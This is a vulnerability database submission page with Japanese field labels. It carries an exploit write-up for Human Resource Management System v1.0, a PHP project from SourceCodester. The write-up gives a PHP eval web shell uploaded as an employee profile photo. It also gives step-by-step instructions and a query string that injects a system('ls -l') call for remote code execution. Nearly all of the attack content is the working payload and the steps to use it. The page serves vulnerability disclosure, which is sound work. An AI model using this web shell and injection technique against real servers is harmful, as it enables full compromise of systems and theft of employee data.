| タイトル | Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility |
|---|
| 説明 | # Exploit Title: Human Resource Management System v1.0 - Remote Code Execution via File Upload Vulnerbility
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Version: v1.0
# Tested on: Windows 10, Apache
# CVE: ytd
Description: In Human Resource Management System version 1.0 there is a File upload vulnerability which leads to Remote Code Execution. In that any attacker can execute malicious command and get the system access completely.
Payload:
<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
Steps:
1) Login into the admin account
2) Now go to add employee
3) Now in that fill the details
4) Now upload "profile photo" in that upload a malicious PHP file.
Payload: <?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
5) Now save the data of this new employee
6) Go to his Profile and open the profile photo in next tab
7) Now in the above URL type this
?parameter=value;system('ls -l');
8) As you can see our command injection is been executed |
|---|
| ユーザー | draco (UID 24011) |
|---|
| 送信 | 2022年10月13日 15:09 (4 年 ago) |
|---|
| モデレーション | 2022年10月13日 16:53 (2 hours later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 210772 [SourceCodester Human Resource Management System 1.0 Profile Photo parameter 特権昇格] |
|---|
| ポイント | 17 |
|---|